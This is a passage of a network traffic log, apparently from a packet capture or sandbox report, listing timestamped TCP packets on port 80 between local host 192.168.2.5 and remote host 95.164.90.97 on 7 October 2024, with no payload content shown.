Oct 7, 2024 21:18:44.496532917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496566057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496571064 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496599913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496632099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496637106 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496670008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496680021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496712923 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496746063 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496752024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496781111 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496795893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496814013 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496819973 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496848106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496881962 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496893883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496915102 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.496927023 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.496963024 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.497070074 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.497102976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.497121096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.497134924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.497143030 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.497169971 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.497179031 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.497262955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.573921919 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574007034 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574014902 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574043989 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574049950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574079037 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574109077 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574112892 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574122906 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574147940 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574163914 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574193001 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574197054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574234009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574273109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574310064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574342966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574388027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574393988 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574429035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574462891 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574474096 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574496984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574531078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574542046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574572086 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574574947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574608088 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574646950 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574655056 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574690104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574723005 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574729919 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574757099 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574765921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574791908 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574831963 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574842930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574877977 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574903965 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574913025 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.574923992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.574959040 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575134993 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575167894 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575200081 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575233936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575268984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575274944 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575301886 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575324059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575335979 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575345993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575371981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575377941 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575417042 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575458050 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575500011 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575583935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575615883 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575642109 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575650930 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575654984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575690985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575691938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575704098 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575725079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575737000 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575747967 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575772047 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575798988 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575805902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575815916 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.575839043 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575875998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.575881004 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576164007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576386929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576421022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576441050 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576453924 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576457977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576488018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576495886 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576522112 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576543093 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576555967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576565027 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576591015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576622009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576623917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576638937 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576658010 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576658010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576692104 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576699018 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576726913 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576760054 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576772928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576793909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576802969 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576828957 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576867104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576877117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576913118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576930046 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576946974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576952934 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.576981068 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.576991081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577152967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577188015 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577205896 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577222109 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577225924 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577256918 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577291012 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577299118 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577325106 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577366114 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577374935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577409029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577414989 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577446938 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577481985 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577483892 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577514887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577541113 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577548027 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577558041 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577595949 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577629089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577637911 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577663898 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577694893 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577698946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577722073 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577728987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.577734947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.577779055 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578058004 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578093052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578109980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578126907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578136921 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578162909 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578166962 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578195095 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578197002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578231096 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578233957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578264952 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578277111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578300953 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578313112 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578339100 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578341961 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578351021 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578372002 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578387022 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578387976 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578423023 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578428984 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578457117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578485012 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578493118 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578499079 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578527927 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578533888 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578563929 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578598976 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578608036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578634024 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578640938 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578937054 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.578954935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578989029 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.578994036 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.579024076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.579032898 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.579061031 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.579081059 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.579093933 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.579102993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.579134941 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.579138994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.579169035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.579201937 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.579210997 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.579236984 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.579271078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.579277992 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.579303980 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.579308987 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.579341888 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.579355955 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.579381943 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.657550097 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.657603979 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.657680035 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.657695055 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.657720089 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.657731056 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.657733917 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.657751083 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.657763958 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.657809019 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.657816887 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.657830954 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.657839060 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.657845974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.657860994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.657881975 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.657984018 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.657999992 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.658025980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.658049107 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.658217907 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.658231974 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.658266068 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.658951998 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.658966064 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.658981085 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659008980 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659024000 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659101009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659115076 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659128904 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659145117 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659147978 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659171104 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659193993 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659240961 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659256935 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659274101 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659288883 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659429073 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659442902 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659457922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659473896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659481049 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659507990 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659580946 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659595966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659610033 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659616947 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659625053 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659637928 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659641981 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659657001 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659662008 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659686089 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.659707069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659722090 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.659755945 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660064936 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660079002 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660093069 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660099983 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660109997 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660126925 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660147905 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660192966 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660223007 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660388947 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660403967 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660422087 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660424948 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660438061 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660440922 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660453081 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660456896 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660470009 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660473108 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660485029 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660487890 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660501957 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660506010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660516977 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660532951 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660700083 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660717010 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660732985 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660737038 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660756111 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660769939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660897017 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660912991 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660927057 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660942078 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660944939 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660958052 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660969019 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.660973072 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660988092 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.660994053 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661004066 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661019087 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661020994 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661035061 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661036968 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661058903 CEST	49810	80	192.168.2.5	95.164.90.97
Oct 7, 2024 21:18:44.661067009 CEST	80	49810	95.164.90.97	192.168.2.5
Oct 7, 2024 21:18:44.661075115 CEST	49810	80	192.168.2.5	95.164.90.97
